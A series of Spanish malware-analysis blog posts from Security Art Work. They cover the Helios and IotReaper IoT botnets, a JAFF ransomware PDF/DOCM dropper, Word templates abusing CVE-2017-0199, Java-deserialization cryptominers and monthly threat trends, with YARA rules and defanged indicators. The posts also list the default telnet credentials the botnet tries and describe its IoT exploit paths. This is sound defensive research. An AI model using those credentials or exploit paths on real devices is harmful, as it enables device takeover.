Tras ello ejecutará processCmd, función donde podemos encontrar la gestión de cada una de las opciones disponibles en el malware, según la información remitida por el servidor C2 en cada momento.

Difusión del malware

Dentro de la función processCmd, y si el dispositivo está en modo “spread” se ejecuta la llamada a la función StartTheLelz, encargada del escaneo de potenciales víctimas y la posterior infección a través de las siguientes credenciales por defecto:

root:vizxv
root:123456
support:support
root:Zte521
root:default
daemon:daemon
telnet:telnet

Del mismo modo que otro malware de tipo IoT, obtiene las direcciones IP de sus víctimas de manera aleatoria a través de la función GetRandomPublicIP. Tras ello, chequea que el resultado de la respuesta en la función contains_response, a través de las funciones contains_success (donde verifica el resultado de la cadena “busybox”) y contains_fail (donde se verifica el resultado de la cadena “invalid”) ha sido escrito por pantalla en la función contains_success.

En caso de encontrar un dispositivo vulnerable, imprime por pantalla la cadena “Login Found: Attempting To Brute LIKE A GOD IP: User: %s Pass: %s”, además de ejecutar la instrucción que en un primer momento desencadenó la infección, eliminando de ese modo el servidor C2 en el proceso de infección del dispositivo, presente en anteriores tipologías.

Ataques

Si el dispositivo está en modo “attack” se selecciona el ataque de denegación de servicio entre los siguientes:

HTTP Flood (sendHTTP y sendSTD)
UDP Flood (sendUDP)
TCP Flood (sendTCP)

Para la gestión de HTTP Flood, se selecciona de manera aleatoria uno de los 36 User-Agents hardcodeados en la muestra.

Autor detrás de Helios

En cuanto a la autoría del malware Linux.Helios, según las técnicas poco elaboradas, las numerosas referencias obscenas, y el nombre de la función StartTheLelz (la función dedicada al escaneo e infección de dispositivos), todo parece apuntar al grupo cibercriminal juvenil LelDoS, dedicado al ataque a través de denegaciones de servicio a plataformas de juegos. Son especialmente conocidos por sus ataques contra servidores del juego online Minecraft, donde Helios únicamente sería la última variación del malware con objetivo IoT, tras Bashlite, Gafgyt, Qbot, Remaiten, Torlus y Mirai.

Llama la atención el hecho de que, a pesar de la clara relación con sus antecesores, ninguna regla de Yara asociada a malware IoT detecta la presente muestra, denotando una clara intención por parte del grupo de alejarse del foco mediático que fue Mirai, aun habiendo reutilizado código y praxis de otros malware.

Así pues, adjuntamos la regla para la identificación del malware:

rule LinuxHelios: MALW
{
        meta:
                description = "Linux.Helios"
                author = "Joan Soriano / @w0lfvan"
                date = "2017-10-19"
                version = "1.0"
                MD5 = "1a35193f3761662a9a1bd38b66327f49"
                SHA256 = "72c2e804f185bef777e854fe86cff3e86f00290f32ae8b3cb56deedf201f1719"
        strings:
                $a = "LIKE A GOD!!! IP:%s User:%s Pass:%s"
                $b = "smack"
                $c = "PEACE OUT IMMA DUP\n"
        condition:
                all of them
}

Estaremos atentos a su evolución.

La entrada Análisis de Linux.Helios aparece primero en Security Art Work.

Continuamente recibimos correos de phishing provenientes de los orígenes más diversos, muchas veces incluyendo adjuntos con contenido malicioso. En este caso el adjunto resultaba un poco más interesante, ya que se trataba de un fichero PDF que incluía en su interior un documento DOCM, un documento Word con macros.

El correo electrónico que llegó a nuestros servidores incluía el asunto “Order”, y el contenido del mensaje estaba en blanco, realmente incluía contenido HTML definiendo una entidad tipo párrafo (<p>) con un espacio en blanco (&nbsp;), pero la diversión estaba en el adjunto.

Etapas de ataque

El adjunto era un fichero PDF correctamente formado que incluía en su interior un objeto OLE de tipo DOCM. Estaba diseñado para que una vez se abriera el documento PDF, se extrajera el fichero docm y ejecutara las macros que contiene en su interior. Estas macros descargaban un fichero de datos desde Internet que sería decodificado para posteriormente ejecutarse en el sistema.

Fichero adjunto

Durante los días siguientes llegaron más correos electrónicos con el mismo asunto y ficheros adjuntos similares, siempre de tipo PDF y nombres diferentes:

Parece razonable deducir del listado que los nombres siguen un patrón, seguramente del tipo:

Análisis del fichero PDF

Para hacer el análisis del fichero adjunto, podemos usar peepdf, y a primera vista lo primero que nos llama la atención de la información que nos ofrece sobre el fichero son los objetos con JS (javascript) y el fichero incluido en su contenido:

El documento tiene dos objetos con código javascript (objeto 4 y objeto 12) que son los que permiten extraer su contenido en el sistema.
Detalle del contenido del objeto 4:

Se define un vector con los comandos y parámetros que se ejecutarán al abrir el fichero.
Detalle del contenido del objeto 12:

Esta línea ejecuta “exportDataObject“[1] que extrae el objeto referenciado a un fichero externo, selecciona el “object 2”, y en este caso le asigna el nombre de “444AXGJNEOJ468.docm”. Utilizando peepdf podemos extraer el fichero.

Los datos extraídos están comprimidos, por lo que deberemos descomprimirlos para obtener el fichero en formato OLE.

Análisis del fichero DOCM

Una vez extraído el documento OLE el siguiente paso es examinarlo para determinar su contenido y la forma en que intenta comprometer la integridad del equipo.
Es bastante común la inclusión de macros en documentos ofimáticos para dotarlos de funcionalidades y aprovecharlas para realizar acciones dirigidas a descargar malware. En este caso comprobamos que nuestro documento contiene macros:

Las líneas que muestran una “m” al lado del identificador del objeto, indican que dicho objeto contiene código ejecutable, y si lo que aparece es una “M” además este código no se limita a la declaración de variables, si no que existen funciones y realiza acciones.
Para poder examinar el código lo extraemos del fichero:

El código que encontramos es relativamente sofisticado. Anteriormente, en muchos casos estas macros no pasaban de ser un par de funciones normalmente ofuscadas que se limitaban a descargar y ejecutar el malware. En este caso existen algunas subrutinas internas y un procesamiento posterior del fichero descargado, que le da algo más de complejidad.

En la siguiente captura de pantalla se muestran las funciones y procedimientos definidos en la macro.

Otra de las curiosidades de este malware es el uso que hace definiendo un formulario y utilizando las propiedades de objetos definidos en dicho formulario, como variables durante la ejecución del script.

También llama la atención la referencia a un objeto específico de documentos pertenecientes a LibreOffice:

Analizando el código podemos determinar los dominios desde donde se realizará la descarga del fichero que será posteriormente decodificado para ser ejecutado en el sistema. Se utilizan los tres dominios por motivos de “contingencia”, para así intentar asegurar la disponibilidad en caso de que alguno de ellos quedara offline:

                http://stlawyers[.]ca/jt7677g6
                http://essentialnulidtro[.]com/af/jt7677g6
                http://rhiannonwrites[.]com/jt7677g6

Realizando el mismo análisis en los restantes ficheros recibidos, comprobamos que el código es el mismo, pero los dominios varían, este es el listado de los diferentes dominios utilizados:

                http://10minutesto1[.]net/jt7677g6
                http://cafe-bg[.]com/jt7677g6
                http://cifroshop[.]net/jt7677g6
                http://community-gaming[.]de/jt7677g6
                http://cor-huizer[.]nl/jt7677g6
                http://essentialnulidtro[.]com/af/jt7677g6
                http://lcpinternational[.]fr/jt7677g6
                http://mciverpei[.]ca/jt7677g6
                http://mitservices[.]net/jt7677g6
                http://mymobimarketing[.]com/jt7677g6
                http://rhiannonwrites[.]com/jt7677g6
                http://sdmqgg[.]com/jt7677g6
                http://sextoygay[.]be/jt7677g6
                http://stlawyers[.]ca/jt7677g6
                http://studyonazar[.]com/jt7677g6

Una vez ejecutado el ransomware, los ficheros cifrados presentan la extensión .wlu y este es el aspecto de la imagen que se muestra solicitando el pago del rescate para recuperar los datos.

Referencias:

• peePDF
• Abode
• Gzip format
• Olevba
• Malware Traffic Analysis

[1] exportDataObject : Extracts the specified data object to an external file.

Parameters

• cName:The name of the data object to extract.
• cDIPath(optional): A device-independent path to which to extract the data object. This path may be absolute or relative to the current document. If not specified, the user is prompted to specify a save location. Note: (Acrobat 6.0) The use of this parameter is no longer supported and should not be used. See the security notes above.
• bAllowAuth(optional, Acrobat 6.0): If true, a dialog box is used to obtain user authorization. Authorization may be required if the data object was encrypted using the encryptForRecipients method. Authorization dialog boxes are allowed if bAllowAuth is true. The default value is false.
• nLaunch(optional, Acrobat 6.0): nLaunch controls whether the file is launched, or opened, after it is saved. Launching may involve opening an external application if the file is not a PDF file. The values of nLaunch are:
  • If the value is 0, the file will not be launched after it is saved.(Default value)
  • If the value is 1, the file will be saved and then launched. Launching will prompt the user with a security alert warning if the file is not a PDF file. The user will be prompted for a save path.
  • If the value is 2, the file will be saved and then launched. Launching will prompt the user with a security alert warning if the file is not a PDF file. A temporary path is used, and the user will not be prompted for a save path. The temporary file that is created will be deleted by Acrobat upon application shutdown.

La entrada JAFF Ransomware via adjunto PDF con Docm aparece primero en Security Art Work.

Hace un par de días conocimos la existencia de una nueva amenaza IoT considerablemente más elaborada que cualquiera de las detectadas hasta la fecha (http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/), dicha botnet ha sido bautizada por Netlab 360 como IotReaper. Así pues, desde el laboratorio de malware de S2 Grupo hemos obtenido y analizado algunas de las muestras relacionadas.

Infraestructura

La infraestructura de la red es bastante similar a la de la botnet Mirai, siendo formada ésta por cuatro elementos:

• Servidor Report: Encargado de recolectar la información remitida por los bots.
• Servidor Downloader: Encargado de proporcionar las samples del malware vía HTTP. La presencia de elemento permite la continua incorporación de actualizaciones sin necesidad de dejar en desuso versiones anteriores del malware.
• Servidor C2: Encargado de remitir las órdenes de denegación de servicio.
• Bot: Dispositivo IoT infectado por la botnet IotReaper.

Proceso de Infección

1. El bot infectado realiza peticiones TCP SYN escaneando potenciales víctimas.
2. Ejecuta exploits para el servicio HTTP contra el objetivo.
3. En caso de resultar exitoso, remite la información al servidor de Report.
4. El servidor de Report traslada la orden de infección al Downloader
5. El servidor de Downloader lleva a cabo la infección del dispositivo.
6. El dispositivo, ya infectado, se comunica con el servidor CnC.

Análisis del Bot

En primer lugar tenemos la entrada referente a evitar que se reinicie, función extraída completamente del código fuente de Mirai:

Función de Reaper

Función de Mirai

Destacar que no se han encontrado evidencias de persistencia en el sistema por parte del malware, por lo que en caso de reinicio, el dispositivo quedaría desinfectado.

Seguidamente ejecuta los siguientes comandos:

El archivo ftpupload.sh es un script presente en ciertos dispositivos IoT donde se guardan comandos que el usuario ha introducido a través de la GUI para la configuración FTP. El dispositivo ejecuta el script con privilegios, lo que resulta una vulnerabilidad, pues la entrada no está saneada y un atacante podría inyectar código. Además, borra cualquier rastro que pudiera haber generado a través de la eliminación del directorio /var/log.

La función de detección y eliminación de malware presente anteriormente en el sistema, tal y como se puede observar en la imagen, también está extraída del código fuente de Mirai.

Estructura de la función de Reaper

Estructura de la función de Mirai

Sin embargo, la verdadera novedad del malware es su método de difusión. A diferencia de la gran mayoría de las botnets actualmente en  funcionamiento, IotReaper no utiliza las credenciales por defecto como vía de infección, sino varias vulnerabilidades de dispositivos IoT publicadas este último año, permitiendo ampliar el espectro de las potenciales víctimas.

En cuanto a la obtención de las IP, el escaneo es menos agresivo y se realiza a través de TCP SYN a diferentes puertos a una IP a la vez, escaneado los siguientes puertos en el orden mostrado:

20480, 20736, 36895, 37151, 22528, 16671, 14340, 20992, 4135, 64288, 45090, 21248, 21504, 31775, 39455, 47115, 42254.

A continuación, vuelve a ejecutar TCP SYN sobre potenciales puertos de servicios web IoT:

80, 81, 82, 83, 84, 88, 1080, 3000, 3749, 8001, 8060, 8080, 8081, 8090, 8443, 8880, 10000.

Según los resultados obtenidos, el bot ejecuta una serie de exploits basados en el servicio HTTP. En la muestra analizada se han encontrado las siguientes cinco vulnerabilidades:

D-Link Devices – ‘hedwig.cgi’ Buffer Overflow in Cookie Header

La vulnerabillidad de la que hace uso se basa en la longitud del valor de la cookie, permitiendo a un atacante obtener el listado de usuarios y contraseñas del dispositivo D-Link 850L. Publicada el 8 de agosto de 2017.

Built-in web shell

Vulnerabilidad que permite el acceso a una shell a través del servicio web. Reaper la utiliza para obtener las credenciales de acceso al servicio Telnet.

 CVE-2017-8225

Las Wireless IP Camera (P2P) WIFICAM tienen por defecto configurados enlaces simbólicos en el directorio web hacia los directorios de configuración system.ini y system-b.ini, los cuales no están correctamente saneados, permitiendo de ese modo a un atacante bypasear la autenticación proporcionando un loginuser y un loginpas vacíos.

Esta vulnerabilidad fue publicada el 8 de marzo de 2017.

Ejecución remota de código en dispositivos VACRON

El recurso board.cgi no está correctamente saneado, permitiendo la cadena cmd como parámetro de entrada y, por ende, la ejecución remota de código.

Hasta el momento, Vacron no ha publicado ningún tipo de solución para evitar la explotación de la vulnerabilidad. Esta vulnerabilidad fue publicada el pasado 8 de octubre.

En la muestra hace uso de la vulnerabilidad para la obtención de las contraseñas del sistema vía /etc/passwd.

Ejemplo de la web shell de un dispositivo vulnerable

Ejecución Remota de Código de dispostivos NETGEAR ReadyNAS Surveillance

Ejecución remota de código a través del parámetro uploaddir. Del mismo modo que las mencionadas anteriormente, también ejecuta un cat del fichero /etc/passwd.

Una vez detectado un dispositivo vulnerable a la infección, realiza una conexión con el servidor de report, el cual tiene asociado el dominio weruuoqweiur.[]com vía HTTP, para remitir la dirección IP del dispositivo, así como la mac, el dispositivo, el puerto, las credenciales y el exploit efectivo.

Si accedemos al dominio asociado vía HTTP, obtenemos la siguiente visualización:

Contraseña incorrecta

A continuación, el servidor de report enviará la orden de infección a un tercer activo, el cual llevará a cabo la descarga del malware. Finalmente, el bot una vez infectado, se pondrá en contacto con el servidor de C2.

Accediendo a la dirección del C2 e.hl852[.]com, obtenemos la siguiente pantalla:

Aterrizaje 2
Por favor ingrese su contraseña:
Código de verificación: 6026

Así pues, podemos observar cómo IotReaper es una nueva botnet que va un paso más allá en la infección de dispositivos IoT, utilizando vulnerabilidades presentes en los dispositivos únicamente parcheables a través de la actualización del firmware, lo que requiere un conocimiento técnico muchas veces inalcanzable para el gran público.

Estaremos atento a las próximas novedades.

Adjuntamos la regla de yara para la identificación del malware Linux.IotReaper

Referencias:

• http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/
• https://blogs.securiteam.com/index.php/archives/3364
• https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
• https://www.pentestpartners.com/blog/pwning-cctv-cameras/
• https://blogs.securiteam.com/index.php/archives/3409
• https://blogs.securiteam.com/index.php/archives/3445
• http://seclists.org/bugtraq/2013/Jun/8
• http://www.s3cur1ty.de/m1adv2013-004
• http://www.s3cur1ty.de/m1adv2013-003
• https://github.com/Trietptm-on-Security/AVTECH
• http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt
• https://securityboulevard.com/2017/10/why-the-world-is-under-the-spell-of-iot_reaper/
• https://blog.radware.com/wp-content/uploads/2017/10/reaper-botnet-architecture-1-320×185.png
• https://www.exploit-db.com/exploits/42956/

La entrada Análisis de Linux.IotReaper aparece primero en Security Art Work.

Un mes más, desde el laboratorio de malware queremos compartir con vosotros lo que se está cociendo en el mundo del malware. Recordar que en este tipo de entradas encontraremos amenazas conocidas, vistas en otras fuentes o analizadas directamente en nuestro laboratorio, pero el objetivo del post es conocer qué tipo de amenazas están activas. A continuación, mostramos un diagrama con la información recopilada este mes desde el laboratorio (pinchar en la imagen para ampliar):

Para poder observar de un modo más visual determinadas tendencias relativas a la infraestructura de algunas amenazas actuales, una vez más queremos mostraros unas gráficas que consideramos interesantes. La idea es sencilla y consiste en recopilar de diferentes fuentes abiertas y de fuentes propias, direcciones IP de command&control (C2 a partir de ahora). Después esta información recopilada la representamos de diferentes maneras como veremos a continuación.

TOP 5 C2

La primera consiste en el TOP 5 de C2 distintos encontrados por un mismo tipo de malware, lo cual nos ayuda a hacernos una idea de su nivel de actividad durante este mes (pinchar en la imagen para ampliar):

Los diferentes colores identificados en la leyenda de la derecha muestran el país al que corresponden cada una de las direcciones IP de dichos C2.

TOP 10 de direcciones IP con dominios de C2

En segundo lugar, tenemos organizado el TOP10 de direcciones IP con mayor cantidad de dominios de C2 distintos que hemos recopilado (pinchar en la imagen para ampliar).

Esta vez, los colores  muestran el tipo de malware al que corresponde cada dominio de dichas IP.

Minado de Criptomonedas por Javascript

Junto con ransomware y troyanos de todo tipo, otro elemento muy común en el mundo del malware, independientemente de que provenga de spam, exploitkits u orígenes menos comunes, es el software de minado de criptomoneda, ya que infectando un pequeño número de equipos sin llamar demasiado la atención se pueden obtener ingresos sin “molestar” demasiado a las víctimas.

Lo curioso de una técnica concreta, que no es nueva pero cuya actividad se ha incrementado recientemente, es el hecho de conseguir que los usuarios minen para ti, sin instalar nada en sus sistemas. Desarrollando la lógica de minado en Javascript, y consiguiendo inyectarla en webs medianamente conocidas, se puede llegar a mantener a toda visita a esa web cuyo navegador tenga habilitado Javascript, minando para ti mientras navegan.

Esto causa que los principales objetivos de los actores detrás de estas técnicas sean webs de streaming de video y de juegos online, aunque otro objetivo común es el de inyectarlo en la publicidad que generan muchas de las webs, que abren nuevas ventanas y pestañas, y que en ocasiones puede quedar en segundo plano mucho tiempo mientras navegamos.

Desde ESET, muestran que los principales objetivos de estas técnicas son web orientadas a público de zonas como Rusia o Ukrania, aunque no significa que no se pueda expandir a otros públicos en cualquier momento.

Botnets detrás de las principales campañas de Malspam

Con la decadencia gradual de la utilización de los exploitkits como vía de infección, el envío de correos spam con malware adjunto ha ido cogiendo más fuerza los últimos meses. Una de las infraestructuras más eficaces para llevar a cabo estas campañas de envió de malspam consiste en utilizar botnets de equipos infectados con algún RAT.

En concreto, una de las más activas recientemente es la que está compuesta por equipos infectados con el malware Necurs. Desde sus inicios, esta botnet ha estado muy centrada en el envío del ransomware Locky a través de distintos tipos de downloaders en varios formatos. Recientemente ha vuelto con bastante fuerza enviando correos con documentos de office, que instalan a través de macros variantes de este ransomware, de las cuales las más reciente utilizan las extensiones “.ykcol” y posteriormente “.asasin” en los ficheros ya cifrados de las víctimas.

Una de las vías de comunicación entre esta botnet consiste en un protocolo de comunicación P2P (Peer to Peer), modificado para evitar que se pueda tomar el control de la red desde fuera. Esto causa una gran cantidad de tráfico UDP saliente hacia el resto de bots de la red por cada equipo infectado. Por ello puede llegar a ser fácil detectar una infección de esta amenaza si se tiene un poco de control sobre el tráfico de la red.

Exploitkits (EK) más activos

Como siempre, repasamos la reciente actividad de los distintos ExploitKits (EK) con más impacto durante este mes. Durante este mes de Octubre la principal actividad ha venido de la mano de RIG EK, Magnitude y Terror EK.

• RIG EK sigue destacando en los RAT, mediante el uso de Bunitu, Zeus, Ramnit, el ransomware GlobeImposter y el script de minado de criptomoneda en Javascript ya mencionado.
• En el caso de Magnitude, su objetivo ha sido el de infectar con muestras del ransomware Cerber.
• Por último, Terror EK instala muestras de Smokeloader. Este malware, aparte de robar información del equipo víctima, suele instalar posteriormente otros tipos de malware, que suele ser ransomware como Cerber o Locky

Como siempre, recordar que una de las mejores medidas para evitar infecciones a través de este vector de ataque consiste en mantener actualizado el navegador y sus componentes.

Principales campañas de infección a través de malspam

Debido al incremento de campañas de infección de malware a través de spam en detrimento de la utilización de Exploitkits, nos gustaría destacar también las diferentes campañas recientes llevadas a cabo por estos medios.

En especial, la más preocupante es la que lleva a cabo el grupo detrás de Trickbot, ya que los correos y documentos encargados de infectar los equipos, llegan en prefecto castellano con contenido y logotipos relacionados con bancos reales y en general están bastante elaborados.

Junto con estos, se siguen detectando correos con adjuntos con cadenas “INVOICE**”, “Payment**” o ”scan**” y similares en el asunto, orientados a infectar nuestros equipos con diferentes RAT, stealer y ransomware de todo tipo, destacando recientemente Pony, Remcos o el ransomware Locky.

En la mayoría de casos son fácilmente reconocibles una vez abiertos (lo que en muchos casos, puede implicar que ya es tarde), por imágenes como esta que pide que se habiliten las macros, para facilitar la infección:

Desde el laboratorio de malware esperamos que les sea de utilidad esta información que compartimos cada mes.

La entrada Tendencias de malware. Octubre 2017. Destacado: Necurs Botnet y JS CoinMiner aparece primero en Security Art Work.

Es evidente que las criptomonedas están de moda. El incremento del precio de, por ejemplo, el Bitcoin con respecto al año pasado es exponencial, tal y como se aprecia en la siguiente gráfica de Coinbase:

Todo el mundo, incluidos los ciberdelincuentes, quieren sacar tajada de este hype, y hemos detectado que, así como el incremento del precio del Bitcoin o de Monero (muy utilizada en el cibercrimen) ha sido exponencial, también lo ha sido la actividad de ataques en relación a la distribución de miners que pretenden comprometer equipos y hacerse con nuestra electricidad gratis.

En lo que va de año hemos detectado una tendencia en alza de distribuir miners. A través de una técnica concreta, utilizan vulnerabilidades en los procesos inseguros de “deserialización” de objetos Java para, tras explotarlas, descargar y ejecutar el miner en el equipo o servidor comprometido. Estas vulnerabilidades, a pesar de no ser nuevas, están intentando ser explotadas por numerosos grupos de delincuentes.

Una de las principales alertas de Emerging Threats que detectan este tipo de ataques en nuestros IDS es:

“ET EXPLOIT Serialized Java Object Calling Common Collection Function” que está basada en las peticiones y scripts referenciados por FoxGloveSecurity.

Aunque también nos hemos encontrado con un alto número de ataques hacia Websphere Soap, fundamentalmente estamos detectando muchos intentos de explotar fallos en la consola JBoss JMX, por ejemplo a través de peticiones de este tipo:

En este caso, si echamos un vistazo en VirusTotal podemos ver que parece ser que desde esa IP en cuestión se tienen disponibles distintos tipos de ejecutables maliciosos:

Por ejemplo, el binario de MD5 a53a9e6efd69f5f04245062824cbf418 (xmrig.exe) ya aparece catalogado en VT como miner. En particular, es un conocido minador para Monero.

No todos los ejecutables son tan evidentes. También nos encontramos con técnicas un poco más “sofisticadas” como la ocultación de shell scripts en JPG. Veamos a continuación un ejemplo:

Si nos fijamos, la URL de descarga es hxxp://img1.imagehousing.com/0/cartoon-651078.jpg

Como se observa en VT, se trata de un fichero JPEG aparentemente inocuo. Pero si hacemos un análisis estático rápido del mismo, nos muestra que oculta la siguiente shell script:

Como vemos, se centra en descargarse otro JPG (hxxp://img1.imagehousing.com/0/onion-791865.jpg), también difícil de que un AV lo detecte como malicioso. De este JPG finalmente se extrae un binario ELF (MD5:17c81aba66e2f71010a53ff39769ca1a) que a día de hoy en VT solo aparece que es detectado por un antivirus.

A continuación mata todos los procesos de minado de criptomonedas si los hubiese en la máquina, y luego lanza el suyo propio. Es conocida la rivalidad entre diferentes grupos de ciberdelincuentes que se dedican al minado como nos comentan en Cyphort.

Del pcap generado por el binario podemos extraer una petición interesante:

El “agent” hace referencia a una herramienta de minado de Monero que podría haberse compilado para ELF. El binario está fuertemente empaquetado y aunque no he acabado su análisis, revisando sus principales funciones intuimos que efectivamente se trata o bien de Xmr-Stack-CPU o algún fork del mismo:

En el último mes, según una de nuestras HoneyNet, los países que más han generado este tipo de alertas de intento de distribuir miners a través de las vulnerabilidades citadas se distribuyen de la siguiente forma:

Seguiremos de cerca esta tendencia y esperamos contarlo en siguientes posts.

La entrada Miners, miners everywhere! aparece primero en Security Art Work.

Enmarcada en su labor de formación y divulgación de la seguridad de la información, CSIRT-CV ha publicado una guía de herramientas seguras de mensajería instantánea destinadas a usuarios u organizaciones que necesiten altos niveles de privacidad y confidencialidad.

Las herramientas analizadas y descritas responden a las siguientes premisas:

• Utilización de cifrado robusto para evitar la captura de información, especialmente cuando las conversaciones sean entre diferentes sedes conectadas por Internet
• Posibilidad de ejecutar los clientes en diversas plataformas, especialmente Windows, Linux y Mac
• Posibilidad de crear chats o salas de discusión
• Evitar que las comunicaciones pasen por un proveedor externo que pueda acceder, almacenar o modificar las conversaciones. Para ello solo se han seleccionado herramientas que permitan instalarse en infraestructura propia y ser explotadas mediante el personal propio
• Garantizar la transparencia del software utilizado, seleccionando solo herramientas de código abierto

Es por ello que el lector no encontrará en este documento aplicaciones de terceros como WhatsApp, o Telegram. No obstante, si se desease conocer más detalles sobre el uso seguro de WhatsApp, se dispone de la siguiente guía también publicada por CSIRT-CV.

La guía, además de la selección de herramientas, incluye indicaciones para su despliegue y configuración segura, tanto del cliente como del servidor.

Aprovechamos la ocasión para recomendar visitar las múltiples guías que el centro a puesto a disposición del público, de las que destacamos las siguientes:

• Informe del código dañino FORBIX
• Decálogo seguridad CSIRT-CV
• Guía de uso seguro de iOS
• Guía de Buenas prácticas para el borrado seguro de dispositivos móviles
• Informe: Internet de las Cosas
• Guía de Uso Seguro de Certificados Digitales
• Guía de uso seguro de Android
• Libro: Seguridad para tod@s en la Sociedad de la Informacion
• Guía de seguridad en el teletrabajo
• Guía Avanzada de Nmap
• Guía para identificar phishing
• Guía de uso de gestores de contraseñas
• Whatsapp – Guia de utilización segura
• Detección de APTs
• Guía de Nmap 6 – Listado de comandos
• Análisis de tráfico con Wireshark – ENG y SPA
• Guía sobre utilización segura de Dropbox
• Buenas prácticas en dispositivos móviles
• Recomendaciones básicas spam
• Peligros del uso de plugins de terceros en joomla
• Guía de privacidad de facebook
• Recomendaciones para redes Wifi
• Informe Information Gatherin

– Descargar la guía –

La entrada Guía CSIRT-CV: Sistemas de mensajería instantánea seguros aparece primero en Security Art Work.

Hace unos días analizando varios correos di con uno que contenía un adjunto sospechoso. Era un documento .docx que a simple vista no tenia nada dentro pero ocupaba 10 kb.

El correo había pasado todas las barreras, tanto SPF, como los dos antivirus que tienen las pasarelas, y también el filtro anti spam.

El fichero .docx se puede tratar como un comprimido. Una vez extraído su contenido, me puse a analizar todos los ficheros del directorio en busca de dominios o direcciones IP que se pudiesen ver en claro:

Y logré encontrar algo interesante dentro de la ruta word/_rels/document.xml.rels donde aparece lo siguiente:

En un momento se puede visualizar que se accede a un recurso directamente desde una dirección IP concreta, y ese recurso es un documento de Microsoft Word.

Ahora es cuando, lo que contiene ese documento, puede variar desde un documento .docx con macros a un RTF con exploit u otra variante.

En este caso, al hacer un file para ver qué tipo de fichero es, aparece lo siguiente:

Para analizar ficheros RTF se puede usar la tool rtfdump o rtfobject rtfobj plantilla_UOB.doc

Con la opción -s se hace un volcado del objeto 0 .

Al visualizar el contenido con un editor hexadecimal:

Lo que se ve es una URL con la cual contacta, y hace uso de la vulnerabilidad CVE-2017-0199. Por ello, y resumiendo, gracias a un engaño en el Content-Type dentro de la configuración del servidor web que lo aloja, es capaz de ejecutar directamente el código contenido en un fichero tipo .hta que suele contener código Visual Basic Script.

El fichero .hta contiene lo siguiente:

Y al decodificarlo:

Donde se puede ver la petición al binario malicioso.

¿Cómo se puede hacer frente a este tipo de plantillas? Pues posiblemente la mejor opción sea a través de reglas Yara o Scripts que busquen determinadas cadenas en el documento Word.

Por tanto, como se lee al principio del articulo, lo primero de todo es extraer el fichero docx, tratándolo como si fuera un zip.

Lo siguiente sería buscar en todos los ficheros dentro de los directorios una serie de cadenas dentro de la sección target como por ejemplo:

“<Relationships ” y “Relationship ” y “</Relationships>”

Y que a la vez también contenga las cadenas:

“Target=”  y “//” y “”TargetMode=\”External\””

Para tratar de generar el menor número de falsos positivos no basta con acotar la búsqueda a la sección target, y ampliarla a la sección Types, por tanto también se deberían incluir en la búsqueda los siguientes types:

 “http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject”,

“http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame”,

Referencias

• https://www.hybrid-analysis.com/sample/4a04843461cd1fe8df747ecd6f887a5abd5959505b5d23331a9cc0711bbf0bfd?environmentId=100
•  http://www.hackplayers.com/2017/04/explotacion-practica-de-cve-2017-0199.htm
•  https://blog.didierstevens.com/2016/08/29/update-rtfdump-version-0-0-4/
•  https://github.com/decalage2/oletools/issues

La entrada Plantillas con malas intenciones aparece primero en Security Art Work.

Destacado: IcedID y botnet Andromeda

Un mes más, desde el laboratorio de malware de S2 Grupo queremos compartir con vosotros lo que se está cociendo en el mundo del malware. Recordar que en este tipo de entradas encontraremos amenazas conocidas, vistas en otras fuentes o analizadas directamente en nuestro laboratorio, pero el objetivo del post es conocer qué tipo de amenazas están activas.

A continuación, mostramos un diagrama con la información recopilada este mes desde el laboratorio:

Para poder observar de un modo más visual determinadas tendencias relativas a la infraestructura de algunas amenazas actuales, una vez más queremos mostraros unas graficas que consideramos interesantes. La idea es sencilla, y consiste en recopilar de diferentes fuentes abiertas y de fuentes propias, direcciones IP de Command and Controls (C2 a partir de ahora). Después esta información recopilada la representamos de diferentes maneras como veremos a continuación:

TOP 5 C2

La primera consiste en el TOP 5 de C2 distintos encontrados por un mismo tipo de malware, lo cual nos ayuda a hacernos una idea de su nivel de actividad durante este mes:

Además, los diferentes colores identificados en la leyenda de la derecha, muestran el país al que corresponden cada una de las direcciones IP de dichos C2.

TOP10 de direcciones IP con dominios de C2

En segundo lugar, tenemos organizado el TOP10 de direcciones IP con mayor cantidad de dominios de C2 distintos que hemos recopilado.

Esta vez, los colores nos muestran el tipo de malware al que corresponde cada dominio de dichas IP.

Nuevo troyano bancario, IcedID

Desde IBM X-Force, han analizado recientemente una nueva amenaza bancaria muy parecida a Trickbot o Dridex que llega a través de una infección de Emotet. Este troyano cuenta con técnicas de robo de credenciales bancarias muy parecidas a las de Trickbot aunque difiere de este en el hecho de que a fin de monitorizar todo el tráfico del equipo, lo redirige a si mismo por el puerto 49157 desde donde decide si deja pasar el tráfico o lo reenvía a su C2 antes.

Tiene la capacidad de moverse lateralmente entre equipos de una organización a través de LDAP, lo que sugiere que su principal objetivo son redes internas de empresas, ya que es el entorno en el que mejor puede llegar a funcionar esta técnica.

Al igual que otras amenazas recientes, todo su tráfico en dirección a su C2 va cifrado por SSL, lo cual complica su detección en muchos entornos y por el momento, no han visto técnicas anti análisis o anti debugging, pero puesto que es modular y reciente, es probable que en unos meses veamos nuevas características como estas.

 Andromeda botnet tumbada

Hace unos días, se publicaban en diferentes fuentes, que gracias a la colaboración de varios equipos públicos y privados como el FBI, europol o ESET se ha conseguido tumbar la botnet compuesta por la amenaza Andromeda, también conocida como Gamarue.

Esta botnet, al igual que la de Necurs se ocupaba de distribuir distintos tipos de malware a través de correos spam masivos. En los distintos reportes de destaca que han llegado a detectar 2 millones de equipos infectados de entre 223 países distintos, los cuales le aportaban una capacidad muy grande de enviar campañas de spam masivas, siempre desde distintos orígenes.

Cabe destacar que el código fuente de esta amenaza fue filtrado hace unos años, lo que implica que otros actores podrían llegar a modificar parte de la lógica y que empecemos a ver nuevas variantes en cualquier momento. Pero sin duda es una gran noticia que una red de equipos infectados tan grande como esta, deje de llenar buzones de correo de malware.

Exploitkits (EK) más activos

Como siempre repasamos la reciente actividad de los distintos ExploitKits(EK) con más impacto durante este mes. Durante este mes de noviembre, la principal actividad referente a estos, ha venido de la mano de RIG EK, Magnitude y Disdain.

RIG ha estado algo menos activo, pues solo se han obsevado los dos troyanos Dridex y Ramnit durante este mes.

En el caso de Magnitude  ha seguido centrándose solo en una amenaza concreta de tipo Ransomware, en este caso conocida como Magniber.

